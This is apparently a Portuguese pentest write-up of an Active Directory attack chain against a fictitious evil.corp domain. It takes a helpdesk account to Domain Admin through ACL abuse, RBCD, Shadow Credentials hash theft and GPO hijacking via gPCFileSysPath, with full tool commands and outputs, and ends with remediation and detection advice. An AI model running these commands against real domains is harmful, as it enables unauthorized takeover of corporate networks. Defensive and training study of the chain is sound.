• home
  • posts
  • about
kyotozx
  • home
  • posts
  • about
Back to posts

Seu AD tem um buraco. Provavelmente mais de um - uma cadeia de ACLs quebradas

15 min read
2026
pentestredteamactive directory

Esse post documenta uma cadeia de ataque que encontrei durante um pentest de Active Directory em uma empresa beeeeeeeeeeeeeeeem grande :)

O ambiente do paper é fictício (evil.corp), mas a técnica é real e funcionou na prática. Vou mostrar cada passo, cada bloqueio e cada bypass, incluindo os outputs esperados dos comandos que foram formatados para facilitar a leitura

O ponto de partida é uma conta de usuário comum, sem privilégios administrativos. O destino é Domain Admin. O caminho passa por quatro contas de máquina, dois ataques de delegação, Shadow Credentials e abuse de GPO


O ambiente

  • Domínio: evil.corp
  • DC: EVIL-DC01.evil.corp (10.10.10.10)
  • Conta inicial: j.support (usuário comum de helpdesk)
  • Ferramentas: BloodHound, pyWhisker, impacket, bloodyAD, GPOddity, NetExec

Antes de qualquer coisa, coletei os dados do domínio com BloodHound para mapear os caminhos de ataque.

bloodhound-python -u 'j.support' -p 'Support@2024' -d evil.corp -ns 10.10.10.10 -c All --zip
INFO: Found AD domain: evil.corp
INFO: Getting TGT for user
INFO: Connecting to LDAP server: EVIL-DC01.evil.corp
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 16182 computers
INFO: Found 30813 users

Depois de importar no BloodHound e rodar a query de "Shortest Path to Domain Admins", o grafo revelou um caminho que passa por contas de máquina via ACLs mal configuradas


Passo 1: GenericAll em conta de máquina de Failover Cluster

O BloodHound mostrou que j.support tem GenericAll sobre CLUST01-CNO$, que é o Cluster Name Object de um Windows Failover Cluster

GenericAll é controle total sobre o objeto. Isso inclui modificar qualquer atributo, o que abre duas possibilidades imediatas: RBCD e Shadow Credentials

Tentativa 1: RBCD

A ideia é criar uma conta de máquina rogue, configurar ela como delegador confiável no alvo e pedir um ticket S4U2Proxy impersonando um Domain Admin

Primeiro, verifico o MachineAccountQuota do domínio para confirmar que posso criar contas de máquina:

nxc ldap 10.10.10.10 -u 'j.support' -p 'Support@2024' -M maq
SMB    10.10.10.10  445  EVIL-DC01  [*] Windows Server 2022 Build 20348 x64
LDAP   10.10.10.10  389  EVIL-DC01  [+] evil.corp\j.support:Support@2024
MAQ    10.10.10.10  389  EVIL-DC01  [*] MachineAccountQuota: 10

Quota disponível. Crio a conta rogue:

impacket-addcomputer 'evil.corp/j.support:Support@2024' \
  -computer-name 'ROGUEPC$' \
  -computer-pass 'Rogue@Pass123' \
  -dc-ip 10.10.10.10
[*] Successfully added machine account ROGUEPC$ with password Rogue@Pass123.

Agora configuro o RBCD, escrevendo o SID de ROGUEPC$ no atributo msDS-AllowedToActOnBehalfOfOtherIdentity de CLUST01-CNO$:

impacket-rbcd 'evil.corp/j.support:Support@2024' \
  -delegate-to 'CLUST01-CNO$' \
  -delegate-from 'ROGUEPC$' \
  -action write \
  -dc-ip 10.10.10.10
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ROGUEPC$ can now impersonate users on CLUST01-CNO$ via S4U2Proxy

Peço o ticket S4U2Proxy impersonando Administrator:

impacket-getST 'evil.corp/ROGUEPC$:Rogue@Pass123' \
  -spn 'cifs/CLUST01-CNO.evil.corp' \
  -impersonate 'Administrator' \
  -dc-ip 10.10.10.10
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

Ticket na mão. Tento usar:

export KRB5CCNAME=Administrator@[email protected]
nxc smb CLUST01-CNO.evil.corp -k --use-kcache
SMB  10.10.20.50  445  CLUST01NODE1  [*] Windows Server 2022 Build 20348 x64
SMB  10.10.20.50  445  CLUST01NODE1  [-] Connection Error: STATUS_ACCESS_DENIED

Bloqueio 1. Ticket obtido, mas o Failover Cluster rejeita a autenticação remota. O CNO tem seu próprio processo de validação de SPN e a execução remota via SMB/WMI/RPC não funciona contra o IP virtual do cluster. O ticket é legítimo, mas inutilizável nesse contexto...

Bypass: Shadow Credentials

GenericAll também permite escrever o atributo msDS-KeyCredentialLink, que é o que o ataque de Shadow Credentials explora.

A ideia: injeto uma chave pública nesse atributo via LDAP. Quando autentico usando a chave privada correspondente via Kerberos PKINIT, o KDC processa tudo dentro da autenticação normal e devolve o TGT junto com o hash NTLM da conta, sem precisar de nenhum acesso direto à máquina

pywhisker -d evil.corp \
  -u 'j.support' \
  -p 'Support@2024' \
  --target 'CLUST01-CNO$' \
  --action add \
  --dc-ip 10.10.10.10
[*] Searching for the target account
[*] Target user found: CN=CLUST01-CNO,OU=Cluster Objects,DC=evil,DC=corp
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 4a3f8b2e-...
[+] KeyCredential added successfully
[*] To authenticate with the new certificate, run:
python3 gettgtpkinit.py -cert-pfx pywhisker_output.pfx -pfx-pass RANDOM_PASS evil.corp/CLUST01-CNO$ CLUST01_CNO.ccache
python3 gettgtpkinit.py \
  -cert-pfx pywhisker_output.pfx \
  -pfx-pass 'RANDOM_PASS' \
  'evil.corp/CLUST01-CNO$' \
  CLUST01_CNO.ccache \
  -dc-ip 10.10.10.10
2024-02-15 12:45:23,891 minikerberos INFO - Loading certificate and key from file
2024-02-15 12:45:23,923 minikerberos INFO - Requesting TGT
2024-02-15 12:45:24,187 minikerberos INFO - AS-REP encryption key (you WILL need this later):
2024-02-15 12:45:24,187 minikerberos INFO - 3a7f2d9c1b4e8f6a...
2024-02-15 12:45:24,189 minikerberos INFO - Saved TGT to file
export KRB5CCNAME=CLUST01_CNO.ccache
python3 getnthash.py evil.corp/CLUST01-CNO$ \
  -key '3a7f2d9c1b4e8f6a...'
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
[+] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

Hash da CLUST01-CNO$ obtido. Com ele, posso autenticar como essa conta de máquina e continuar a enumeração de ACLs

Com o hash em mãos, a primeira tentativa óbvia é S4U2Self direto contra o cluster. O NetExec suporta isso nativamente, e qualquer conta de máquina pode em tese requisitar um ticket de serviço para si mesma impersonando qualquer usuário, sem precisar de RBCD configurado:

nxc smb 10.10.20.50 -u 'CLUST01-CNO$' \
  -H 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
  --delegate Administrator --self
SMB  10.10.20.50  445  CLUST01NODE1  [-] evil.corp\Administrator through S4U with CLUST01-CNO$ KDC_ERR_C_PRINCIPAL_UNKNOWN

KDC_ERR_C_PRINCIPAL_UNKNOWN. O KDC não reconhece CLUST01-CNO$ como um principal válido para emitir tickets S4U2Self. Isso é comportamento específico de CNOs. Um Cluster Name Object não é uma conta de máquina comum, é um objeto especial criado pelo Windows Failover Cluster que não tem UPN configurado e cujo SPN é gerenciado pelo próprio serviço de cluster. Para o S4U2Self funcionar aqui, precisaríamos do hash da conta de um dos nós físicos (CLUST01NODE1$, CLUST01NODE2$), não do CNO. O CNO é a identidade virtual do cluster, não de nenhum servidor real

Esse detalhe não está documentado em praticamente lugar nenhum. A maioria dos posts sobre S4U2Self assume contas de máquina normais e não menciona esse comportamento com CNOs

Com esse caminho fechado, o hash serve para o que realmente importa: enumerar o que CLUST01-CNO$ pode fazer no domínio e continuar a cadeia


Passo 2: GenericWrite na segunda máquina

Com o hash de CLUST01-CNO$, volto ao BloodHound para ver o que essa conta pode fazer. A query "Outbound Object Control" revela que CLUST01-CNO$ tem GenericWrite sobre APP-SRV02$.

GenericWrite em conta de máquina significa escrever msDS-KeyCredentialLink. O RBCD também funciona via GenericWrite se o atributo msDS-AllowedToActOnBehalfOfOtherIdentity estiver em branco.

Mesma estratégia, agora autenticando como CLUST01-CNO$ usando o hash:

impacket-rbcd 'evil.corp/CLUST01-CNO$' \
  -hashes ':a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
  -delegate-to 'APP-SRV02$' \
  -delegate-from 'ROGUEPC$' \
  -action write \
  -dc-ip 10.10.10.10
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!

Mas antes de tentar RBCD (que já vi que pode não funcionar dependendo do ambiente), vou direto para Shadow Credentials, que já provou ser mais confiável aqui:

pywhisker -d evil.corp \ 
  -u 'CLUST01-CNO$' \ 
  -hashes ':a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \ 
  --target 'APP-SRV02$' \ 
  --action add \ 
  --dc-ip 10.10.10.10
[*] Target user found: CN=APP-SRV02,OU=Application Servers,DC=evil,DC=corp
[*] Generating certificate
[*] KeyCredential added successfully
python3 gettgtpkinit.py \
  -cert-pfx pywhisker_output2.pfx \
  -pfx-pass 'RANDOM_PASS2' \
  'evil.corp/APP-SRV02$' \
  APP_SRV02.ccache \
  -dc-ip 10.10.10.10

export KRB5CCNAME=APP_SRV02.ccache
python3 getnthash.py evil.corp/APP-SRV02$ -key '8c4d1e2f3a5b6c7d...'
[+] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:f1e2d3c4b5a69788796a5b4c3d2e1f0a

Dois hashes de máquina. Mas o mais interessante está no próximo nó do grafo


Passo 3: GenericWrite no Default Domain Policy

APP-SRV02$ é membro de [email protected], e esse grupo tem GenericWrite sobre o objeto Default Domain Policy no Active Directory

Aqui que tem a cereja do bolo, a Default Domain Policy aplica configurações para todos os computadores e usuários do domínio. Quem controla ela pode executar código em qualquer máquina que aplica a policy, incluindo os Domain Controllers

O ataque passa pelo GPOddity, uma ferramenta que explora a modificação do atributo gPCFileSysPath do GPC (Group Policy Container) para redirecionar onde os clientes buscam os arquivos da GPO. Em vez do SYSVOL legítimo, os clientes buscam de um share controlado pelo atacante

Antes de qualquer coisa, verifico as permissões reais usando dacledit para confirmar que o GenericWrite não é um falso positivo do BloodHound:

impacket-dacledit -action read \
  -target-dn 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp' \
  -principal 'G_POLICY_MANAGERS' \
  'evil.corp/j.support:Support@2024' \
  -dc-ip 10.10.10.10
[*] Parsing DACL
[*] Filtering results for SID (S-1-5-21-...)
[*]   ACE[0] info
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE
[*]     Access mask               : WriteProperties (0x20)
[*]     Trustee (SID)             : G_POLICY_MANAGERS

ACCESS_ALLOWED_ACE com WriteProperties, sem ACCESS_DENIED_ACE sobreescrevendo. Permissão real e funcional


Passo 4: Descoberta do share gravável e setup do GPOddity

O GPOddity em modo --smb-mode none precisa de um share SMB acessível pelos clientes do domínio para hospedar os arquivos da GPO maliciosa. O fluxo é:

  1. Clonar o GPT legítimo do SYSVOL
  2. Injetar uma Scheduled Task maliciosa nos arquivos clonados
  3. Hospedar os arquivos em um share controlado
  4. Modificar o atributo gPCFileSysPath via LDAP para apontar para o share
  5. Aguardar o refresh da GPO nos clientes (default: 90 minutos)

Primeiro, escanear a rede para encontrar shares graváveis:

nxc smb 10.10.20.0/24 \
  -u 'j.support' -p 'Support@2024' \
  --shares
SMB  10.10.20.15  445  FILE-SRV01  [+] evil.corp\j.support:Support@2024
SMB  10.10.20.15  445  FILE-SRV01  [+] Enumerated shares
SMB  10.10.20.15  445  FILE-SRV01  Share           Permissions
SMB  10.10.20.15  445  FILE-SRV01  -----           -----------
SMB  10.10.20.15  445  FILE-SRV01  IPC$            READ
SMB  10.10.20.15  445  FILE-SRV01  IT_TOOLS        READ,WRITE
SMB  10.10.20.15  445  FILE-SRV01  TEMP_FILES      READ,WRITE

Share gravável encontrado: \\10.10.20.15\IT_TOOLS. Confirmo que Domain Computers tem acesso de leitura (necessário para que os clientes busquem o GPT):

nxc smb 10.10.20.15 \
  -u 'APP-SRV02$' \
  -H 'f1e2d3c4b5a69788796a5b4c3d2e1f0a' \
  --shares
SMB  10.10.20.15  445  FILE-SRV01  Share           Permissions
SMB  10.10.20.15  445  FILE-SRV01  -----           -----------
SMB  10.10.20.15  445  FILE-SRV01  IPC$            READ
SMB  10.10.20.15  445  FILE-SRV01  IT_TOOLS        READ
SMB  10.10.20.15  445  FILE-SRV01  TEMP_FILES      READ

Leitura confirmada para contas de máquina. Agora gero o GPT malicioso:

python3 gpoddity.py \
  --gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
  --domain evil.corp \
  --username 'APP-SRV02$' \
  --hashes ':f1e2d3c4b5a69788796a5b4c3d2e1f0a' \
  --command 'net group "Domain Admins" j.support /add /domain' \
  --smb-mode none \
  --rogue-smbserver-ip 10.10.20.15 \
  --rogue-smbserver-share IT_TOOLS \
  --dc-ip 10.10.10.10
[*] Connecting to LDAP server...
[*] Authenticating as APP-SRV02$
[*] Found GPO: Default Domain Policy
[*] Cloning GPT from \\evil.corp\SYSVOL\evil.corp\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[*] GPT files cloned successfully to GPT_out/
[*] Injecting malicious scheduled task...
[*] ScheduledTasks.xml generated
[*] 
[*] LDAP modification needed:
[*] gPCFileSysPath: \\10.10.20.15\IT_TOOLS
[*] 
[*] Run with --smb-mode ntlm or modify the attribute manually

O GPOddity em modo --smb-mode none gera os arquivos localmente mas não faz a modificação LDAP automaticamente. Faço o upload dos arquivos para o share:

cd GPT_out/
smbclient '//10.10.20.15/IT_TOOLS' \
  -U 'evil.corp/j.support%Support@2024' \
  -c 'recurse; prompt off; mput *'
putting file gpt.ini as \gpt.ini (2.1 kb/s) (average 2.1 kb/s)
putting file Machine/Preferences/ScheduledTasks/ScheduledTasks.xml as \Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
...

Agora modifico o gPCFileSysPath via LDAP usando o hash de APP-SRV02$:

bloodyAD --host EVIL-DC01.evil.corp \ 
  --dc-ip 10.10.10.10 \ 
  -d evil.corp \ 
  -u 'APP-SRV02$' \ 
  -p ':f1e2d3c4b5a69788796a5b4c3d2e1f0a' \ 
  set object \ 
  'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp' \ 
  gPCFileSysPath \ 
  -v '\\10.10.20.15\IT_TOOLS'
[+] CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp's gPCFileSysPath has been updated

A GPO agora aponta para o share controlado. Aguardo o próximo refresh cycle

# Confirmo que j.support entrou nos Domain Admins
nxc smb 10.10.10.10 \
  -u 'j.support' -p 'Support@2024' \
  --groups "Domain Admins"
SMB  10.10.10.10  445  EVIL-DC01  [*] Windows Server 2022 Build 20348 x64
SMB  10.10.10.10  445  EVIL-DC01  [+] evil.corp\j.support:Support@2024
SMB  10.10.10.10  445  EVIL-DC01  [+] Domain Admins Members:
SMB  10.10.10.10  445  EVIL-DC01      Administrator
SMB  10.10.10.10  445  EVIL-DC01      j.support         <--- aqui

Cadeia completa resumida

j.support (helpdesk)
    |
    | GenericAll (ACL mal configurada)
    v
CLUST01-CNO$ [Failover Cluster]
    |
    | RBCD bloqueado (cluster rejeita execução remota)
    | Shadow Credentials (msDS-KeyCredentialLink)
    v
hash CLUST01-CNO$ obtido via PKINIT
    |
    | GenericWrite
    v
APP-SRV02$
    |
    | Shadow Credentials
    v
hash APP-SRV02$ obtido via PKINIT
    |
    | memberOf G_POLICY_MANAGERS
    | GenericWrite no Default Domain Policy
    v
gPCFileSysPath modificado -> \\10.10.20.15\IT_TOOLS
    |
    | GPT malicioso com Scheduled Task
    | Domain Computers fazem fetch do share
    v
j.support adicionado ao Domain Admins
    |
    v
Domain Admin

Por que isso acontece

Cada passo dessa cadeia existe por uma razão específica e independente

GenericAll em conta de máquina é o erro mais crítico. Ninguém deveria ter controle total sobre objetos de máquina exceto os próprios administradores do domínio. Quando você delega permissões no AD e usa GenericAll em vez de um direito específico, está basicamente dando a chave mestra para qualquer um que comprometa essa conta

Shadow Credentials funciona por design. O atributo msDS-KeyCredentialLink existe para suporte a Windows Hello for Business e outros mecanismos de autenticação baseada em certificado. O problema não é o atributo em si, é que qualquer pessoa com permissão de escrita no objeto pode adicionar credenciais nesse atributo sem nenhuma aprovação adicional. Não tem MFA, não tem workflow de aprovação, não tem notificação, o KDC simplesmente processa

GPO abuse via gPCFileSysPath é uma consequência direta de permissions excessivas em objetos de GPO. A Default Domain Policy é o objeto mais crítico do domínio por definição. Ela aplica para todos. Qualquer escrita lá é Domain Admin em espera

MachineAccountQuota = 10 é um padrão do Active Directory que permite a qualquer usuário autenticado criar até 10 contas de máquina no domínio. Isso é necessário para o ataque RBCD inicial. Setar para 0 quebra esse vetor completamente


Remediação

Cada finding tem uma correção direta:

  • GenericAll em contas de máquina: Auditar e remover ACEs excessivas. Usar BloodHound CE periodicamente para identificar paths de privilégio. Aplicar princípio de menor privilégio em todas as delegações
  • Shadow Credentials: Monitorar Event ID 5136 (Directory Service Changes) com filtro em msDS-KeyCredentialLink. Qualquer modificação nesse atributo fora de um processo de provisionamento legítimo é um IOC
  • RBCD: Mesmo monitoramento via Event ID 5136, agora filtrando msDS-AllowedToActOnBehalfOfOtherIdentity. Setar MachineAccountQuota para 0 e criar contas de máquina apenas via processo controlado
  • GPO abuse: Remover permissões de escrita desnecessárias em objetos de GPO. Monitorar Event ID 5136 filtrando gPCFileSysPath. Qualquer mudança nesse atributo que aponte para fora do SYSVOL legítimo é um comprometimento ativo
  • Share gravável: Restringir permissões de escrita em shares de rede a contas administrativas. Domain Computers não precisam de acesso de escrita em shares que não são SYSVOL

Referências organizadas por tema:

Shadow Credentials

  • https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab (post original do Elad Shamir)
  • https://github.com/ShutdownRepo/pywhisker

RBCD

  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
  • https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html (o paper original do Elad Shamir sobre RBCD abuse)

GPO Abuse / GPOddity

  • https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more (paper do GPOddity, explica a técnica do gPCFileSysPath em detalhe)
  • https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/ (o clássico do harmj0y que definiu GPO abuse)

ACL Abuse geral

  • https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf (An ACE Up The Sleeve, Andy Robbins e Will Schroeder)
  • https://bloodhound.specterops.io/resources/edges/generic-write (documentação do BloodHound sobre GenericWrite e quando é falso positivo)

MachineAccountQuota

  • https://www.netspi.com/blog/technical-blog/network-penetration-testing/machineaccountquota-is-useful-sometimes/

© 2026 · kyotozx